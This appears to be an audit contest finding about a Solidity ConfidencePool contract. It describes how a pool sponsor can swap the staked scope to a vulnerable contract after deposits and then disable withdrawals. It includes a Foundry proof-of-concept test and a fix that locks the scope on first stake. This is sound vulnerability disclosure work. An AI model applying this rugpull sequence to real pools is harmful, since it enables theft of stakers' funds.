FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: high

Post-Stake Scope Bait-and-Switch Allows Pool Sponsor to Trap and Rugpull Stakers

Author Revealed upon completion

Root Cause + Impact

Root Cause

In ConfidencePool.sol, the setPoolScope() function allows the owner (the pool sponsor) to unilaterally change the smart contracts that stakers are underwriting. The protection variable scopeLocked is not toggled to true upon the first user deposit. Instead, it remains completely unlocked until the underlying BattleChain global registry transitions out of NEW_DEPLOYMENT or NOT_DEPLOYED. This architectural inconsistency (especially compared to expiryLocked, which correctly locks upon the first stake) leaves the pool's entire risk profile completely mutable even while holding user funds.

Description

A Confidence Pool's scope explicitly defines its risk profile. If a contract inside the scope gets hacked, the stakers lose their deposited principal to the attacker bounty.

Because setPoolScope remains unlocked even after users have deposited liquidity, a malicious sponsor can execute a deterministic, atomic "Bait-and-Switch" rugpull:

  1. The Bait: The sponsor deploys the pool with a highly secure, audited contract in the scope (SAFE_CONTRACT). They may also optionally contribute a large bonus using contributeBonus() to artificially inflate the yield and attract liquidity.

  2. The Hook: Users review the safe scope, accept the low risk profile, and deposit massive amounts of stakeToken.

  3. The Switch and Trap: In a single batched sequence (or closely timed transactions), the sponsor calls setPoolScope([VULNERABLE_CONTRACT]) to silently swap the underwritten contracts, followed immediately by calling requestPromotion() on the global attack registry.

  4. The Slaughter: Stakers observing the scope change will immediately attempt to withdraw their funds to escape the new risk profile. However, because the global registry has transitioned to PROMOTION_REQUESTED, the withdraw() function evaluates state != NEW_DEPLOYMENT and intentionally reverts with WithdrawsDisabled.

The stakers are permanently trapped underwriting a maliciously vulnerable contract against their consent. The sponsor can then exploit their own vulnerable contract by a separate attacker identity, trigger the CORRUPTED resolution state, and legally drain the stakers' liquidity via the attacker bounty.

function setPoolScope(address[] calldata accounts) external onlyOwner {
_observePoolState();
if (scopeLocked) revert ScopePostLockImmutable();
_replaceScope(accounts);
}

Risk

Likelihood

High: The attack vector relies entirely on a single actor (the pool sponsor). However, Confidence Pools are heavily permissionless for creators and any owner of a valid agreement can deploy one. the protocol docs and readme does not explicitly declare them trusted and must assume that some pool sponsors are highly adversarial and motivated to rugpull their underwriters.

Impact:

High: This vulnerability results in a total loss of principal for any stakers inside the pool. It breaks the fundamental guarantee that underwriters have the right to assess the risk of the contracts they are insuring before being locked into a binding slashing condition.

Proof of Concept

Add the test below to the ConfidencePool.scope.t.sol test file and run the test.

function testSponsorCanRugpullByBatchingScopeAndPromotion() external {
address sponsor = address(this);
// 1. Sponsor sets up a "Safe" scope and also a "Malicious" scope in the underlying agreement
address SAFE_CONTRACT = address(0x5afe);
address VULNERABLE_CONTRACT = address(0xbad);
agreementContract.setContractInScope(SAFE_CONTRACT, true);
agreementContract.setContractInScope(VULNERABLE_CONTRACT, true);
// Sponsor explicitly sets the pool scope to ONLY the SAFE_CONTRACT
address[] memory safeScope = new address[](1);
safeScope[0] = SAFE_CONTRACT;
vm.prank(sponsor);
pool.setPoolScope(safeScope);
// 2. Sponsor baits users by contributing a large, attractive bonus
_contributeBonus(sponsor, 500 * ONE);
// 3. Alice sees the extremely safe scope and the massive bonus, and stakes confidently
_stake(alice, 1000 * ONE);
// 4. Sponsor performs a Bait-and-Switch in a single batched sequence:
// First, the sponsor changes the scope to include the VULNERABLE_CONTRACT
address[] memory maliciousScope = new address[](1);
maliciousScope[0] = VULNERABLE_CONTRACT;
vm.prank(sponsor);
pool.setPoolScope(maliciousScope);
// Immediately, the sponsor requests promotion to intentionally disable withdrawals
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PROMOTION_REQUESTED);
// 5. Alice notices the rugpull and attempts to withdraw to escape the new risk profile
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw(); // Alice is TRAPPED
// 6. Verify the scope is indeed malicious and locked
assertTrue(pool.isAccountInScope(VULNERABLE_CONTRACT));
assertFalse(pool.isAccountInScope(SAFE_CONTRACT));
// Anyone can permanently lock the scope state via pokeRiskWindow without reverting
pool.pokeRiskWindow();
assertTrue(pool.scopeLocked());
}

Recommended Mitigation

Enforce scope immutability upon the very first deposit, exactly identically to how the expiry timestamp is protected.

Update the stake() function in ConfidencePool.sol to permanently lock the scope the moment user funds are committed:

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
if (!expiryLocked) {
expiryLocked = true;
}
+ if (!scopeLocked) {
+ scopeLocked = true;
+ }
// ... remaining logic ...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!